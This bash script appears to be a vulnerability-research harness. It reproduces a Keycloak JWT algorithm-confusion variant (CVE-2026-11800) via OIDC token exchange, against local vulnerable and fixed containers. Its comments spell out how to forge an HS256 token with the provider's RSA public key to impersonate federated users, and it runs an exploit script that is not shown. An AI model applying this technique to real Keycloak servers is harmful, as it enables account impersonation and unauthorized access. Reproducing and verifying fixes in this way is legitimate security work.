#!/bin/bash
set -euo pipefail

# ============================================================================
# CVE-2026-11800 VARIANT: Keycloak JWT Algorithm Confusion via OIDC External
#                      Token Exchange (alternate entry point, NOT a bypass)
# ============================================================================
# Same root cause / sink as the original CVE-2026-11800 (HardcodedPublicKeyLoader
# HMAC branch on a hardcoded RSA public key), reached from a DIFFERENT entry point
# that the fix's primary algorithm-type gate does NOT cover:
#
#   * Original (repro): JWT Authorization Grant
#       grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer  +  assertion
#       path: DefaultJWTAuthorizationGrantValidator.validateSignatureAlgorithm()
#             (AbstractBaseJWTValidator -> Layer 1 algorithm-type gate) then
#             JWTAuthorizationGrantIdentityProvider.verifySignature() (Layer 2)
#
#   * This variant: OIDC External-Internal Token Exchange (RFC 8693)
#       grant_type=urn:ietf:params:oauth:grant-type:token-exchange
#       subject_token_type=urn:ietf:params:oauth:token-type:jwt
#       subject_issuer=<oidc-idp-alias>
#       path: OIDCIdentityProvider.exchangeExternalImpl() -> validateJwt() ->
#             verifySignature() -> HardcodedPublicKeyLoader (Layer 2 ONLY;
#             AbstractBaseJWTValidator.validateSignatureAlgorithm / Layer 1 is
#             NEVER called on this path)
#
# An attacker who knows an OIDC Identity Provider's RSA public key (inherently
# public) forges a JWT *subject_token* with alg=HS256 signed with the RSA public
# key DER bytes as the HMAC secret, and exchanges it for a Keycloak access token
# for any federated user linked to that IdP.
#
# Tested against:
#   - Vulnerable: quay.io/keycloak/keycloak:26.6.3 (ACCEPTS forged HS256 subject_token,
#                 issues access token for impersonated federated user)
#   - Fixed:      quay.io/keycloak/keycloak:26.6.4 (REJECTS: HardcodedPublicKeyLoader
#                 HMAC branch removed -> key not found -> invalid token)
#
# Both instances are started with:
#   --features=token-exchange,admin-fine-grained-authz:v1
# (token-exchange v1 enables external-internal exchange; admin-fine-grained-authz:v1
#  enables the v1 FGAP token-exchange permission required to authorize the client
#  to exchange to the IdP -- a legitimate admin configuration, not a security bypass.)
#
# Exit codes:
#   0 = variant reproduced on the FIXED version (true bypass)
#   1 = alternate trigger (works on vulnerable, rejected on fixed) OR no variant
# ============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
ARTIFACTS="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$ARTIFACTS"
cd "$ROOT"

VULN_IMAGE="quay.io/keycloak/keycloak:26.6.3"
FIXED_IMAGE="quay.io/keycloak/keycloak:26.6.4"
NETWORK="kcnet-cve11800-variant"
VULN_CONTAINER="keycloak-vuln-variant"
FIXED_CONTAINER="keycloak-fixed-variant"
CLIENT_CONTAINER="keycloak-client-variant"
KC_FEATURES="token-exchange,admin-fine-grained-authz:v1"

log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOGS/reproduction_steps.log"; }

log "=== CVE-2026-11800 VARIANT: OIDC External Token Exchange Algorithm Confusion ==="

# Cleanup
docker rm -f "$VULN_CONTAINER" "$FIXED_CONTAINER" "$CLIENT_CONTAINER" 2>/dev/null || true
docker network rm "$NETWORK" 2>/dev/null || true
docker network create "$NETWORK" >/dev/null 2>&1 || true

# Pull images (idempotent)
log "Pulling vulnerable image: $VULN_IMAGE"
docker pull "$VULN_IMAGE" > "$LOGS/pull_vuln.log" 2>&1 || { log "ERROR: pull vulnerable failed"; exit 1; }
log "Pulling fixed image: $FIXED_IMAGE"
docker pull "$FIXED_IMAGE" > "$LOGS/pull_fixed.log" 2>&1 || { log "ERROR: pull fixed failed"; exit 1; }

# Start Keycloak containers with the token-exchange + v1 FGAP features
log "Starting vulnerable Keycloak (26.6.3) with --features=$KC_FEATURES..."
docker run -d --name "$VULN_CONTAINER" --network="$NETWORK" \
    -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin \
    "$VULN_IMAGE" start-dev --hostname=localhost --http-enabled=true --features="$KC_FEATURES" \
    > "$LOGS/start_vuln.log" 2>&1

log "Starting fixed Keycloak (26.6.4) with --features=$KC_FEATURES..."
docker run -d --name "$FIXED_CONTAINER" --network="$NETWORK" \
    -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin \
    "$FIXED_IMAGE" start-dev --hostname=localhost --http-enabled=true --features="$KC_FEATURES" \
    > "$LOGS/start_fixed.log" 2>&1

# Python client
log "Starting Python client container..."
docker run -d --name "$CLIENT_CONTAINER" --network="$NETWORK" \
    python:3.12-slim sleep 7200 > "$LOGS/start_client.log" 2>&1
sleep 5
log "Installing Python dependencies..."
docker exec "$CLIENT_CONTAINER" pip install --quiet requests cryptography 2>&1 | tee "$LOGS/pip_install.log" || true

# Wait for both Keycloak instances
wait_for_keycloak() {
    local container="$1" name="$2"
    log "Waiting for $name Keycloak to be ready..."
    for i in $(seq 1 60); do
        if docker exec "$CLIENT_CONTAINER" python3 -c "
import requests
try:
    r = requests.get('http://$container:8080/realms/master/.well-known/openid-configuration', timeout=3)
    if r.status_code == 200: print('UP')
except: pass
" 2>/dev/null | grep -q UP; then
            log "$name Keycloak is UP (after $((i*3))s)"; return 0
        fi
        sleep 3
    done
    log "ERROR: $name Keycloak did not start in time"; return 1
}
wait_for_keycloak "$VULN_CONTAINER" "vulnerable" || exit 1
wait_for_keycloak "$FIXED_CONTAINER" "fixed" || exit 1

# Copy exploit script into the client container and run it
log "Copying variant exploit script to client container..."
docker cp "$ARTIFACTS/exploit_variant.py" "$CLIENT_CONTAINER:/tmp/exploit_variant.py"

log "Running variant exploit against both Keycloak instances..."
set +e
docker exec "$CLIENT_CONTAINER" python3 /tmp/exploit_variant.py \
    "$VULN_CONTAINER" "$FIXED_CONTAINER" "/tmp/exploit_logs" \
    2>&1 | tee -a "$LOGS/exploit_run.log"
EXPLOIT_EXIT=$?
set -e
log "Exploit process exit code: $EXPLOIT_EXIT"

# Copy exploit logs out of the container
docker cp "$CLIENT_CONTAINER:/tmp/exploit_logs/." "$LOGS/" 2>/dev/null || true

VERDICT=$(cat "$LOGS/verdict.txt" 2>/dev/null || echo "unknown")
log "Variant verdict: $VERDICT"

# Capture Keycloak server logs
log "Capturing Keycloak server logs..."
docker logs "$VULN_CONTAINER" > "$LOGS/vuln_keycloak.log" 2>&1 || true
docker logs "$FIXED_CONTAINER" > "$LOGS/fixed_keycloak.log" 2>&1 || true

# Persist exact tested image build metadata
log "Resolving tested Keycloak image build metadata..."
{
  echo "=== $VULN_IMAGE (vulnerable) ==="
  docker image inspect "$VULN_IMAGE" --format 'ID={{.Id}} RepoTags={{.RepoTags}} Created={{.Created}}' 2>/dev/null || true
  docker inspect "$VULN_IMAGE" --format '{{json .Config.Labels}}' 2>/dev/null || true
  echo ""
  echo "=== $FIXED_IMAGE (fixed) ==="
  docker image inspect "$FIXED_IMAGE" --format 'ID={{.Id}} RepoTags={{.RepoTags}} Created={{.Created}}' 2>/dev/null || true
  docker inspect "$FIXED_IMAGE" --format '{{json .Config.Labels}}' 2>/dev/null || true
} > "$LOGS/image_metadata.txt" 2>&1

# Write runtime manifest
cat > "$ARTIFACTS/runtime_manifest.json" <<EOF
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Keycloak OIDC token endpoint external-internal token exchange (grant_type=urn:ietf:params:oauth:grant-type:token-exchange, subject_token_type=urn:ietf:params:oauth:token-type:jwt, subject_issuer=<oidc-idp>)",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["keycloak-26.6.3-docker", "keycloak-26.6.4-docker", "python-client-container"],
  "features_enabled": "token-exchange,admin-fine-grained-authz:v1",
  "proof_artifacts": [
    "logs/vuln_variant/reproduction_steps.log",
    "logs/vuln_variant/exploit_run.log",
    "logs/vuln_variant/vulnerable/exploit.log",
    "logs/vuln_variant/vulnerable/forged_subject_token.txt",
    "logs/vuln_variant/vulnerable/request.txt",
    "logs/vuln_variant/vulnerable/response_status.txt",
    "logs/vuln_variant/vulnerable/response_body.json",
    "logs/vuln_variant/vulnerable/access_token.json",
    "logs/vuln_variant/fixed/exploit.log",
    "logs/vuln_variant/fixed/forged_subject_token.txt",
    "logs/vuln_variant/fixed/request.txt",
    "logs/vuln_variant/fixed/response_status.txt",
    "logs/vuln_variant/fixed/response_body.json",
    "logs/vuln_variant/vuln_keycloak.log",
    "logs/vuln_variant/fixed_keycloak.log",
    "logs/vuln_variant/image_metadata.txt"
  ],
  "variant_verdict": "$VERDICT",
  "notes": "CVE-2026-11800 alternate-trigger variant via OIDC external-internal token exchange. Same root cause (HardcodedPublicKeyLoader HMAC branch) reached from a different entry point (subject_token token exchange) that does NOT pass through AbstractBaseJWTValidator.validateSignatureAlgorithm (the fix's Layer 1 algorithm-type gate); only Layer 2 (HardcodedPublicKeyLoader HMAC removal) covers it. Vulnerable 26.6.3 accepts forged HS256 subject_token and issues an access token for the impersonated federated user; fixed 26.6.4 rejects (HMAC branch removed -> key not found -> invalid token)."
}
EOF
log "Wrote runtime_manifest.json"

# Cleanup
log "Cleaning up containers and network..."
docker rm -f "$VULN_CONTAINER" "$FIXED_CONTAINER" "$CLIENT_CONTAINER" >/dev/null 2>&1 || true
docker network rm "$NETWORK" >/dev/null 2>&1 || true
log "=== Variant reproduction complete (verdict: $VERDICT) ==="

if [ "$VERDICT" = "bypass" ]; then exit 0; else exit 1; fi
